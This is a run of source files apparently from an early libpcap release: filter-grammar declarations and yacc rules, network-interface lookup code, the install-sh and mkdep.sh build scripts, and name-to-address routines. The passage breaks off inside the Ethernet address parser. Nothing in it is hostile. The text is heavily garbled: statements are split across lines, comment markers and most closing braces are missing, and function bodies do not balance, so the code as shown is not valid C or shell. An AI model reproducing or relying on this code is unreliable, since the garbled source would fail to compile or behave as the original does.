jf branch requires long jump */
int
level;
int offset;
int sense;
struct edge et;
struct
edge ef;
struct block
*head;
struct block *link; /* link field used by optimizer */
uset dom;
uset closure;
struct
edge *in_edges;
atomset def,
kill;
atomset in_use;
atomset out_use;
int oval;
int val[N_ATOMS];
struct arth {
struct block *b; /* protocol checks */
struct
slist *s; /* stmt list */
int regno; /* virtual register number of result
*/
struct qual {
unsigned
char addr;
unsigned char
proto;
unsigned char dir;
unsigned char pad;
struct arth
*gen_loadi(int);
struct arth *gen_load(int, struct arth *, int);
struct
arth *gen_loadlen(void);
struct arth *gen_neg(struct arth *);
struct
arth *gen_arth(int, struct arth *, struct arth *);
void gen_and(struct
block *, struct block *);
void gen_or(struct block *, struct block
*);
void gen_not(struct block *);
struct block *gen_scode(const char
*, struct qual);
struct block *gen_ecode(const u_char *, struct
qual);
struct block *gen_mcode(const char *, const char *, int, struct
qual);
struct block *gen_ncode(const char *, bpf_u_int32, struct
qual);
struct block *gen_proto_abbrev(int);
struct block
*gen_relation(int, struct arth *, struct arth *, int);
struct block *gen_less(int);
struct
block *gen_greater(int);
struct block *gen_byteop(int, int, int);
struct
block *gen_broadcast(int);
struct block *gen_multicast(int);
struct
block *gen_inbound(int);
void bpf_optimize(struct block **);
#if
__STDC__
__dead void bpf_error(const char *, ...)
__attribute__((volatile, format (printf,
1, 2)));
#endif
void finish_parse(struct block *);
char
*sdup(const char *);
struct bpf_insn *icode_to_fcode(struct block *, int
*);
int pcap_parse(void);
void lex_init(char *);
void sappend(struct
slist *, struct slist *);
/* XXX */
#define JT(b) ((b)->et.succ)
#define JF(b) ((b)->ef.succ)
* Copyright (c) 1988, 1989, 1990, 1991, 1992,
1993, 1994, 1995, 1996
* The Regents of the University of
California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this
paragraph in its entirety, (2)
*
distributions including binary code include the above copyright notice
and
* this paragraph in its
entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: grammar.y,v 1.56
96/11/02 21:54:55 leres Exp $ (LBL)";
#endif
#include
<sys/types.h>
#include <sys/time.h>
#include
<sys/socket.h>
#if __STDC__
struct mbuf;
struct
rtentry;
#endif
#include <net/if.h>
#include
<netinet/in.h>
#include <netinet/if_ether.h>
#include
<stdio.h>
#include "pcap-int.h"
#include
"gencode.h"
#include <pcap-namedb.h>
#include
"gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include
"os-proto.h"
#endif
#define QSET(q, p, d, a) (q).proto =
(p),\
(q).dir = (d),\
(q).addr = (a)
int n_errors = 0;
static struct qual qerr
= { Q_UNDEF, Q_UNDEF, Q_UNDEF, Q_UNDEF };
static void
yyerror(char
*msg)
++n_errors;
bpf_error("%s", msg);
/* NOTREACHED */
#ifndef
YYBISON
int yyparse(void);
pcap_parse()
return (yyparse());
#endif
%union {
int i;
bpf_u_int32 h;
u_char
*e;
char *s;
struct stmt *stmt;
struct arth *a;
struct {
struct qual q;
struct
block *b;
} blk;
struct block *rblk;
%type <blk> expr
id nid pid term rterm qid
%type <blk> head
%type <i> pqual dqual
aqual ndaqual
%type <a> arth narth
%type <i> byteop
pname pnum relop irelop
%type <blk> and or paren not null prog
%type <rblk> other
%token DST SRC HOST GATEWAY
%token NET MASK PORT LESS GREATER PROTO BYTE
%token ARP RARP IP TCP UDP ICMP IGMP IGRP
%token ATALK DECNET LAT SCA MOPRC MOPDL
%token TK_BROADCAST TK_MULTICAST
%token NUM INBOUND OUTBOUND
%token LINK
%token GEQ LEQ NEQ
%token ID
EID HID
%token LSH RSH
%token LEN
%type <s> ID
%type <e>
EID
%type <s> HID
%type <i> NUM
%left OR AND
%nonassoc '!'
%left '|'
%left '&'
%left
LSH RSH
%left '+' '-'
%left '*' '/'
%nonassoc UMINUS
prog: null
expr
finish_parse($2.b);
| null
null: /* null */ {
$$.q = qerr; }
expr: term
|
expr and term { gen_and($1.b, $3.b); $$ = $3; }
| expr and id { gen_and($1.b, $3.b); $$ = $3; }
| expr or term { gen_or($1.b, $3.b);
$$ = $3; }
| expr or id {
gen_or($1.b, $3.b); $$ = $3; }
and: AND {
$$ = $<blk>0; }
or: OR {
$$ = $<blk>0; }
id: nid
|
pnum { $$.b = gen_ncode(NULL, (bpf_u_int32)$1,
$$.q = $<blk>0.q); }
|
paren pid ')' { $$ = $2; }
nid: ID {
$$.b = gen_scode($1, $$.q = $<blk>0.q); }
| HID '/' NUM { $$.b = gen_mcode($1, NULL, $3,
$$.q = $<blk>0.q); }
| HID MASK HID { $$.b = gen_mcode($1,
$3, 0,
$$.q = $<blk>0.q); }
|
HID {
/* Decide how to parse HID based on proto */
$$.q = $<blk>0.q;
switch ($$.q.proto) {
case Q_DECNET:
$$.b = gen_ncode($1, 0, $$.q);
break;
default:
$$.b = gen_ncode($1, 0, $$.q);
break;
}
}
| EID {
$$.b = gen_ecode($1, $$.q = $<blk>0.q); }
| not id { gen_not($2.b); $$ = $2; }
not: '!' { $$ = $<blk>0; }
paren:
'(' { $$ = $<blk>0; }
pid: nid
| qid and id { gen_and($1.b, $3.b);
$$ = $3; }
| qid or id {
gen_or($1.b, $3.b); $$ = $3; }
qid: pnum { $$.b = gen_ncode(NULL,
(bpf_u_int32)$1,
$$.q = $<blk>0.q); }
| pid
term: rterm
| not term { gen_not($2.b); $$ = $2; }
head: pqual
dqual aqual { QSET($$.q, $1, $2, $3);
}
| pqual dqual {
QSET($$.q, $1, $2, Q_DEFAULT); }
|
pqual aqual { QSET($$.q, $1, Q_DEFAULT, $2); }
| pqual PROTO { QSET($$.q, $1, Q_DEFAULT, Q_PROTO);
}
| pqual ndaqual {
QSET($$.q, $1, Q_DEFAULT, $2); }
rterm: head id { $$ = $2; }
| paren expr ')' { $$.b
= $2.b; $$.q = $1.q; }
| pname {
$$.b = gen_proto_abbrev($1); $$.q = qerr; }
| arth relop arth {
$$.b = gen_relation($2, $1, $3, 0);
$$.q = qerr; }
| arth
irelop arth { $$.b = gen_relation($2,
$1, $3, 1);
$$.q = qerr; }
| other {
$$.b = $1; $$.q = qerr; }
/* protocol level qualifiers */
pqual:
pname
| { $$ = Q_DEFAULT; }
/* 'direction'
qualifiers */
dqual: SRC { $$ = Q_SRC; }
| DST {
$$ = Q_DST; }
| SRC OR DST {
$$ = Q_OR; }
| DST OR SRC {
$$ = Q_OR; }
| SRC AND DST {
$$ = Q_AND; }
| DST AND SRC {
$$ = Q_AND; }
/* address type qualifiers */
aqual:
HOST { $$ = Q_HOST; }
|
NET { $$ = Q_NET; }
| PORT { $$ = Q_PORT; }
/* non-directional
address type qualifiers */
ndaqual:
GATEWAY { $$ = Q_GATEWAY; }
pname: LINK { $$ = Q_LINK; }
| IP {
$$ = Q_IP; }
| ARP { $$ = Q_ARP; }
| RARP { $$ = Q_RARP; }
| TCP {
$$ = Q_TCP; }
| UDP { $$ = Q_UDP; }
| ICMP { $$ = Q_ICMP; }
| IGMP { $$ = Q_IGMP; }
| IGRP { $$ = Q_IGRP; }
| ATALK { $$ = Q_ATALK; }
| DECNET { $$ = Q_DECNET; }
| LAT {
$$ = Q_LAT; }
| SCA { $$ = Q_SCA; }
| MOPDL { $$ = Q_MOPDL; }
| MOPRC { $$ = Q_MOPRC; }
other:
pqual TK_BROADCAST { $$ =
gen_broadcast($1); }
| pqual
TK_MULTICAST { $$ = gen_multicast($1);
}
| LESS NUM {
$$ = gen_less($2); }
| GREATER
NUM {
$$ = gen_greater($2); }
| BYTE
NUM byteop NUM { $$ = gen_byteop($3, $2,
$4); }
| INBOUND {
$$ = gen_inbound(0); }
|
OUTBOUND { $$ = gen_inbound(1); }
relop: '>' {
$$ = BPF_JGT; }
| GEQ { $$ = BPF_JGE; }
| '=' {
$$ = BPF_JEQ; }
irelop: LEQ { $$ = BPF_JGT; }
| '<' {
$$ = BPF_JGE; }
| NEQ { $$ = BPF_JEQ; }
arth: pnum {
$$ = gen_loadi($1); }
|
narth
narth: pname '[' arth ']' { $$ = gen_load($1,
$3, 1); }
| pname '[' arth ':'
NUM ']' { $$ = gen_load($1, $3, $5);
}
| arth '+' arth { $$ = gen_arth(BPF_ADD, $1, $3); }
| arth '-' arth { $$ = gen_arth(BPF_SUB, $1, $3); }
| arth '*' arth { $$ = gen_arth(BPF_MUL, $1, $3); }
| arth '/' arth { $$ = gen_arth(BPF_DIV, $1, $3); }
| arth '&' arth { $$ = gen_arth(BPF_AND, $1, $3); }
| arth '|' arth { $$ = gen_arth(BPF_OR, $1, $3); }
| arth LSH arth { $$ = gen_arth(BPF_LSH, $1, $3); }
| arth RSH arth { $$ = gen_arth(BPF_RSH, $1, $3); }
| '-' arth %prec UMINUS {
$$ = gen_neg($2); }
| paren
narth ')' { $$ = $2; }
|
LEN { $$ = gen_loadlen(); }
byteop:
'&' { $$ = '&'; }
| '|' {
$$ = '|'; }
| '<' { $$ = '<'; }
| '>' {
$$ = '>'; }
| '=' { $$ = '='; }
pnum:
NUM
| paren pnum ')' { $$ = $2; }
* Copyright (c) 1994, 1995, 1996, 1997, 1998
* The
Regents of the University of California.
All rights reserved.
*
Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that
the following conditions
* are
met:
* 1. Redistributions of
source code must retain the above copyright
* notice, this list of
conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above
copyright
* notice, this list of conditions and the
following disclaimer in the
* documentation and/or other materials
provided with the distribution.
*
3. All advertising materials mentioning features or use of this software
*
must display the following acknowledgement:
* This
product includes software developed by the Computer Systems
* Engineering
Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may
be used
* to endorse or promote products derived
from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS
IS'' AND
* ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE
* ARE
DISCLAIMED. IN NO EVENT SHALL THE
REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL
* DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
OR BUSINESS INTERRUPTION)
*
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT
* LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF
*
SUCH DAMAGE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: inet.c,v 1.22 98/01/30
17:29:34 leres Exp $ (LBL)";
#endif
#include
<sys/param.h>
#include <sys/file.h>
#include
<sys/ioctl.h>
#include <sys/socket.h>
#ifdef
HAVE_SYS_SOCKIO_H
#include <sys/sockio.h>
#endif
#include
<sys/time.h> /*
concession to AIX */
#if __STDC__
struct mbuf;
struct
rtentry;
#endif
#include <net/if.h>
#include
<netinet/in.h>
#include <ctype.h>
#include
<errno.h>
#include <memory.h>
#include
<stdio.h>
#include <stdlib.h>
#include
<string.h>
#include <unistd.h>
#include
"pcap-int.h"
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
/* Not
all systems have IFF_LOOPBACK */
#ifdef IFF_LOOPBACK
#define
ISLOOPBACK(p) ((p)->ifr_flags & IFF_LOOPBACK)
#else
#define
ISLOOPBACK(p) ((p)->ifr_name[0] == 'l' && (p)->ifr_name[1] == 'o'
&& \
(isdigit((p)->ifr_name[2]) || (p)->ifr_name[2] == '\0'))
#endif
* Return the name of a network interface
attached to the system, or NULL
*
if none can be found. The interface
must be configured up; the
*
lowest unit number is preferred; loopback is ignored.
char *
pcap_lookupdev(errbuf)
register char *errbuf;
register int fd, minunit, n;
register char *cp;
register struct ifreq *ifrp, *ifend,
*ifnext, *mp;
struct ifconf
ifc;
struct ifreq ibuf[16],
ifr;
static char
device[sizeof(ifrp->ifr_name) + 1];
fd
= socket(AF_INET, SOCK_DGRAM, 0);
if
(fd < 0) {
(void)sprintf(errbuf, "socket:
%s", pcap_strerror(errno));
return (NULL);
ifc.ifc_len = sizeof ibuf;
ifc.ifc_buf = (caddr_t)ibuf;
memset((char *)ibuf, 0,
sizeof(ibuf));
if (ioctl(fd,
SIOCGIFCONF, (char *)&ifc) < 0 ||
ifc.ifc_len < sizeof(struct ifreq))
{
(void)sprintf(errbuf, "SIOCGIFCONF: %s",
pcap_strerror(errno));
(void)close(fd);
return
(NULL);
ifrp = ibuf;
ifend = (struct ifreq *)((char *)ibuf +
ifc.ifc_len);
mp = NULL;
minunit = 666;
for (; ifrp < ifend; ifrp = ifnext)
{
#ifdef HAVE_SOCKADDR_SA_LEN
n = ifrp->ifr_addr.sa_len +
sizeof(ifrp->ifr_name);
if (n < sizeof(*ifrp))
ifnext
= ifrp + 1;
else
ifnext = (struct ifreq *)((char *)ifrp +
n);
if (ifrp->ifr_addr.sa_family != AF_INET)
continue;
#else
ifnext
= ifrp + 1;
#endif
/*
* Need a template to preserve address info
that is
* used below to locate the next entry. (Otherwise,
* SIOCGIFFLAGS
stomps over it because the requests
* are returned in a union.)
*/
strncpy(ifr.ifr_name, ifrp->ifr_name,
sizeof(ifr.ifr_name));
if (ioctl(fd, SIOCGIFFLAGS, (char
*)&ifr) < 0) {
if (errno == ENXIO)
continue;
(void)sprintf(errbuf,
"SIOCGIFFLAGS: %.*s: %s",
(int)sizeof(ifr.ifr_name), ifr.ifr_name,
pcap_strerror(errno));
(void)close(fd);
return
(NULL);
/* Must be up and not the loopback */
if
((ifr.ifr_flags & IFF_UP) == 0 || ISLOOPBACK(&ifr))
continue;
for
(cp = ifrp->ifr_name; !isdigit(*cp); ++cp)
continue;
n
= atoi(cp);
if (n < minunit) {
minunit
= n;
mp = ifrp;
(void)close(fd);
if
(mp == NULL) {
(void)strcpy(errbuf, "no suitable
device found");
return (NULL);
(void)strncpy(device, mp->ifr_name,
sizeof(device) - 1);
device[sizeof(device)
- 1] = '\0';
return
(device);
pcap_lookupnet(device, netp, maskp, errbuf)
register char *device;
register bpf_u_int32 *netp, *maskp;
register char *errbuf;
register int fd;
register struct sockaddr_in *sin;
struct ifreq ifr;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) {
(void)sprintf(errbuf,
"socket: %s", pcap_strerror(errno));
return (-1);
memset(&ifr, 0, sizeof(ifr));
#ifdef
linux
/* XXX Work around Linux
kernel bug */
ifr.ifr_addr.sa_family
= AF_INET;
#endif
(void)strncpy(ifr.ifr_name,
device, sizeof(ifr.ifr_name));
if
(ioctl(fd, SIOCGIFADDR, (char *)&ifr) < 0) {
(void)sprintf(errbuf,
"SIOCGIFADDR: %s: %s",
device, pcap_strerror(errno));
(void)close(fd);
return
(-1);
sin = (struct sockaddr_in
*)&ifr.ifr_addr;
*netp =
sin->sin_addr.s_addr;
if
(ioctl(fd, SIOCGIFNETMASK, (char *)&ifr) < 0) {
(void)sprintf(errbuf,
"SIOCGIFNETMASK: %s: %s",
device, pcap_strerror(errno));
(void)close(fd);
return
(-1);
(void)close(fd);
*maskp = sin->sin_addr.s_addr;
if (*maskp == 0) {
if
(IN_CLASSA(*netp))
*maskp = IN_CLASSA_NET;
else
if (IN_CLASSB(*netp))
*maskp = IN_CLASSB_NET;
else
if (IN_CLASSC(*netp))
*maskp = IN_CLASSC_NET;
else
{
(void)sprintf(errbuf, "inet class for 0x%x
unknown",
*netp);
return (-1);
*netp &= *maskp;
return
(0);
#! /bin/sh
# install - install a program, script, or
datafile
# This comes from X11R5 (mit/util/scripts/install.sh).
#
Copyright 1991 by the Massachusetts Institute of Technology
# Permission
to use, copy, modify, distribute, and sell this software and its
#
documentation for any purpose is hereby granted without fee, provided
that
# the above copyright notice appear in all copies and that both
that
# copyright notice and this permission notice appear in
supporting
# documentation, and that the name of M.I.T. not be used in
advertising or
# publicity pertaining to distribution of the software
without specific,
# written prior permission. M.I.T. makes no representations about the
# suitability of
this software for any purpose. It is
provided "as is"
# without express or implied warranty.
#
Calling this script install-sh is preferred over install.sh, to prevent
#
`make' implicit rules from creating a file called install from it
# when
there is no Makefile.
# This script is compatible with the BSD install
script, but was written
# from scratch.
It can only install one file at a time, a restriction
# shared with
many OS's install programs.
# set DOITPROG to echo to test this
script
# Don't use :- since 4.3BSD and earlier shells don't like it.
doit="${DOITPROG-}"
#
put in absolute paths if you don't have them in your path; or use env.
vars.
mvprog="${MVPROG-mv}"
cpprog="${CPPROG-cp}"
chmodprog="${CHMODPROG-chmod}"
chownprog="${CHOWNPROG-chown}"
chgrpprog="${CHGRPPROG-chgrp}"
stripprog="${STRIPPROG-strip}"
rmprog="${RMPROG-rm}"
mkdirprog="${MKDIRPROG-mkdir}"
transformbasename=""
transform_arg=""
instcmd="$mvprog"
chmodcmd="$chmodprog
0755"
chowncmd=""
chgrpcmd=""
stripcmd=""
rmcmd="$rmprog
-f"
mvcmd="$mvprog"
src=""
dst=""
dir_arg=""
while
[ x"$1" != x ]; do
case $1 in
-c)
instcmd="$cpprog"
shift
continue;;
-d) dir_arg=true
shift
continue;;
-m) chmodcmd="$chmodprog $2"
shift
shift
continue;;
-o) chowncmd="$chownprog
$2"
shift
shift
continue;;
-g)
chgrpcmd="$chgrpprog $2"
shift
shift
continue;;
-s)
stripcmd="$stripprog"
shift
continue;;
-t=*) transformarg=`echo $1 | sed
's/-t=//'`
shift
continue;;
-b=*) transformbasename=`echo $1 | sed
's/-b=//'`
shift
continue;;
*)
if [ x"$src" = x ]
then
src=$1
else
#
this colon is to work around a 386BSD /bin/sh bug
dst=$1
fi
shift
continue;;
esac
done
if [ x"$src"
= x ]
then
echo
"install: no input file
specified"
exit 1
else
true
if [ x"$dir_arg" != x
]; then
dst=$src
src=""
if [ -d $dst ]; then
instcmd=:
else
instcmd=mkdir
else
# Waiting for
this to be detected by the "$instcmd $src $dsttmp" command
#
might cause directories to be created, which would be especially bad
# if
$src (and thus $dsttmp) contains '*'.
if
[ -f $src -o -d $src ]
then
true
else
echo "install: $src does not exist"
exit
1
if [ x"$dst" = x
]
then
echo
"install: no destination
specified"
exit 1
else
true
# If destination is a directory,
append the input filename; if your system
# does not like double slashes
in filenames, you may need to add some logic
if [ -d $dst ]
then
dst="$dst"/`basename
$src`
else
true
##
this sed command emulates the dirname command
dstdir=`echo $dst | sed -e
's,[^/]*$,,;s,/$,,;s,^$,.,'`
# Make sure that the destination directory
exists.
# this part is taken from Noah
Friedman's mkinstalldirs script
# Skip lots of stat calls in the usual
case.
if [ ! -d "$dstdir" ]; then
defaultIFS='
IFS="${IFS-${defaultIFS}}"
oIFS="${IFS}"
#
Some sh's can't handle IFS=/ for some reason.
IFS='%'
set - `echo
${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'`
IFS="${oIFS}"
pathcomp=''
while
[ $# -ne 0 ] ; do
pathcomp="${pathcomp}${1}"
shift
if [ ! -d "${pathcomp}" ] ;
then
$mkdirprog
"${pathcomp}"
else
true
pathcomp="${pathcomp}/"
done
if
[ x"$dir_arg" != x ]
then
$doit
$instcmd $dst &&
if [
x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi
&&
if [
x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi
&&
if [
x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi
&&
if [
x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi
else
#
If we're going to rename the final executable, determine the name now.
if [ x"$transformarg" = x ]
then
dstfile=`basename
$dst`
else
dstfile=`basename
$dst $transformbasename |
sed $transformarg`$transformbasename
#
don't allow the sed command to completely eliminate the filename
if [ x"$dstfile" = x ]
then
dstfile=`basename $dst`
else
true
# Make a temp file name in the
proper directory.
dsttmp=$dstdir/#inst.$$#
#
Move or copy the file name to the temp name
$doit $instcmd $src $dsttmp &&
trap "rm -f ${dsttmp}" 0
&&
# and set any options; do chmod last to preserve setuid
bits
# If any of these fail, we abort the whole thing. If we want to
# ignore errors from any
of these, just make sure not to ignore
# errors from the above "$doit
$instcmd $src $dsttmp" command.
if
[ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi
&&
if [
x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi
&&
if [
x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi
&&
if [
x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi
&&
# Now rename the file to the real destination.
$doit $rmcmd -f $dstdir/$dstfile
&&
$doit $mvcmd $dsttmp
$dstdir/$dstfile
fi &&
exit 0
#!/bin/sh -
#
Copyright (c) 1994, 1996
# The
Regents of the University of California.
All rights reserved.
# Redistribution and use in source and binary
forms are permitted
# provided that this notice is preserved and that due
credit is given
# to the University of California at Berkeley. The name of
the University
# may not be used to endorse or promote products derived
from this
# software without specific prior written permission. This
software
# is provided ``as is'' without express or implied
warranty.
# @(#)mkdep.sh 5.11 (Berkeley) 5/5/88
PATH=/bin:/usr/bin:/usr/ucb:/usr/local:/usr/local/bin
export
PATH
MAKE=Makefile # default makefile name is
"Makefile"
CC=cc #
default C compiler is "cc"
while :
do case "$1" in
# -c allows you to specify the C compiler
-c)
CC=$2
shift;
shift ;;
# -f allows you to select a makefile
name
-f)
MAKE=$2
shift; shift
;;
# the -p flag produces "program: program.c" style
dependencies
# so .o's don't get produced
-p)
SED='s;\.o;;'
shift
;;
*)
break ;;
esac
done
if [ $# = 0 ] ; then
echo 'usage: mkdep [-p] [-c cc] [-f
makefile] [flags] file ...'
exit
1
if [ ! -w $MAKE ]; then
echo
"mkdep: no writeable file \"$MAKE\""
exit 1
TMP=/tmp/mkdep$$
trap 'rm
-f $TMP ; exit 1' 1 2 3 13 15
cp $MAKE ${MAKE}.bak
sed -e '/DO NOT
DELETE THIS LINE/,$d' < $MAKE > $TMP
cat << _EOF_ >>
$TMP
# DO NOT DELETE THIS LINE -- mkdep uses it.
# DO NOT PUT
ANYTHING AFTER THIS LINE, IT WILL GO AWAY.
_EOF_
# If your compiler
doesn't have -M, add it. If you can't,
the next two
# lines will try and replace the "cc -M". The real problem is that this
# hack
can't deal with anything that requires a search path, and doesn't
# even
try for anything using bracket (<>) syntax.
# egrep '^#include[ ]*".*"' /dev/null $* |
# sed
-e 's/:[^"]*"\([^"]*\)".*/: \1/' -e 's/\.c/.o/' |
#
XXX this doesn't work with things like "-DDECLWAITSTATUS=union\
wait"
$CC -M $* |
sed "
s; \./; ;g
$SED"
|
awk '{
if ($1 != prev)
{
if (rec != "")
print rec;
rec = $0;
prev
= $1;
else {
if
(length(rec $2) > 78) {
print rec;
rec =
$0;
else
rec = rec " " $2
END
{
print rec
}' >>
$TMP
cat << _EOF_ >> $TMP
# IF YOU PUT ANYTHING HERE IT
WILL GO AWAY
_EOF_
# copy to preserve permissions
cp $TMP
$MAKE
rm -f ${MAKE}.bak $TMP
exit 0
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997,
1998
* The Regents of the University of California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this
paragraph in its entirety, (2)
*
distributions including binary code include the above copyright notice
and
* this paragraph in its
entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
* Name to id
translation routines used by the scanner.
* These functions are not time critical.
#ifndef lint
static
const char rcsid[] =
"@(#)
$Header: nametoaddr.c,v 1.48 98/07/12 13:15:36 leres Exp $ (LBL)";
#endif
#include
<sys/param.h>
#include <sys/types.h> /* concession to AIX */
#include
<sys/socket.h>
#include <sys/time.h>
#if __STDC__
struct
mbuf;
struct rtentry;
#endif
#include <net/if.h>
#include
<netinet/in.h>
#include <netinet/if_ether.h>
#include
<arpa/inet.h>
#include <ctype.h>
#include
<errno.h>
#include <stdlib.h>
#include
<memory.h>
#include <netdb.h>
#include <stdio.h>
#include
"pcap-int.h"
#include "gencode.h"
#include
<pcap-namedb.h>
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#ifndef
NTOHL
#define NTOHL(x) (x) = ntohl(x)
#define NTOHS(x) (x) =
ntohs(x)
#endif
static inline int xdtoi(int);
*
Convert host name to internet address.
* Return 0 upon
failure.
bpf_u_int32 **
pcap_nametoaddr(const char *name)
#ifndef
h_addr
static bpf_u_int32
*hlist[2];
#endif
bpf_u_int32
**p;
struct hostent *hp;
if ((hp = gethostbyname(name)) != NULL)
{
#ifndef h_addr
hlist[0] = (bpf_u_int32
*)hp->h_addr;
NTOHL(hp->h_addr);
return
hlist;
#else
for (p = (bpf_u_int32
**)hp->h_addr_list; *p; ++p)
NTOHL(**p);
return (bpf_u_int32
**)hp->h_addr_list;
#endif
else
return
0;
* Convert net name to internet address.
*
Return 0 upon failure.
bpf_u_int32
pcap_nametonetaddr(const
char *name)
struct netent
*np;
if ((np =
getnetbyname(name)) != NULL)
return np->n_net;
else
return 0;
* Convert a port name to its port and protocol numbers.
* We assume only TCP or UDP.
* Return 0 upon failure.
pcap_nametoport(const
char *name, int *port, int *proto)
struct
servent *sp;
char *other;
sp = getservbyname(name, (char *)0);
if (sp != NULL) {
NTOHS(sp->s_port);
*port
= sp->s_port;
*proto = pcap_nametoproto(sp->s_proto);
/*
* We need to check /etc/services for ambiguous entries.
* If we find the ambiguous entry, and it has the
* same port number, change the proto to PROTO_UNDEF
* so both TCP and UDP will be checked.
*/
if (*proto == IPPROTO_TCP)
other
= "udp";
else
other = "tcp";
sp
= getservbyname(name, other);
if (sp != 0) {
NTOHS(sp->s_port);
#ifdef
notdef
if (*port != sp->s_port)
/* Can't handle ambiguous names that
refer
to different port numbers. */
warning("ambiguous
port %s in /etc/services",
name);
#endif
*proto
= PROTO_UNDEF;
return 1;
#if defined(ultrix) ||
defined(__osf__)
/* Special
hack in case NFS isn't in /etc/services */
if (strcmp(name, "nfs") == 0) {
*port
= 2049;
*proto = PROTO_UNDEF;
return 1;
#endif
return 0;
pcap_nametoproto(const char
*str)
struct protoent *p;
p = getprotobyname(str);
if (p != 0)
return
p->p_proto;
else
return
PROTO_UNDEF;
#include "ethertype.h"
struct eproto {
char *s;
u_short p;
/* Static data base of ether protocol types.
*/
struct eproto eproto_db[] = {
{
"pup", ETHERTYPE_PUP },
{
"xns", ETHERTYPE_NS },
{
"ip", ETHERTYPE_IP },
{
"arp", ETHERTYPE_ARP },
{
"rarp", ETHERTYPE_REVARP },
{
"sprite", ETHERTYPE_SPRITE },
{
"mopdl", ETHERTYPE_MOPDL },
{
"moprc", ETHERTYPE_MOPRC },
{
"decnet", ETHERTYPE_DN },
{
"lat", ETHERTYPE_LAT },
{
"sca", ETHERTYPE_SCA },
{
"lanbridge", ETHERTYPE_LANBRIDGE },
{ "vexp", ETHERTYPE_VEXP },
{ "vprod", ETHERTYPE_VPROD
},
{ "atalk", ETHERTYPE_ATALK
},
{ "atalkarp",
ETHERTYPE_AARP },
{
"loopback", ETHERTYPE_LOOPBACK },
{ "decdts", ETHERTYPE_DECDTS },
{ "decdns", ETHERTYPE_DECDNS
},
{ (char *)0, 0 }
pcap_nametoeproto(const
char *s)
struct eproto *p =
eproto_db;
while (p->s != 0)
{
if (strcmp(p->s, s) == 0)
return
p->p;
p += 1;
return PROTO_UNDEF;
/* Hex digit to integer. */
static
inline int
xdtoi(c)
register
int c;
if (isdigit(c))
return
c - '0';
else if
(islower(c))
return c - 'a' + 10;
else
return c - 'A' + 10;
__pcap_atoin(const
char *s, bpf_u_int32 *addr)
u_int
n;
int len;
*addr = 0;
len = 0;
while
(1) {
n = 0;
while (*s && *s != '.')
n
= n * 10 + *s++ - '0';
*addr <<= 8;
*addr
|= n & 0xff;
len += 8;
if (*s ==
'\0')
return len;
++s;
/* NOTREACHED */
__pcap_atodn(const
char *s, bpf_u_int32 *addr)
#define AREASHIFT 10
#define AREAMASK
0176000
#define NODEMASK 01777
u_int
node, area;
if (sscanf((char
*)s, "%d.%d", &area, &node) != 2)
bpf_error("malformed
decnet address '%s'", s);
*addr
= (area << AREASHIFT) & AREAMASK;
*addr |= (node & NODEMASK);
return(32);
*
Convert 's' which has the form "xx:xx:xx:xx:xx:xx" into a new
* ethernet address. Assumes 's' is well formed.
u_char *
pcap_ether_aton(const
char *s)
register u_char *ep,
*e;
register u_int d;
e = ep = (u_char *)malloc(6);
while (*s) {
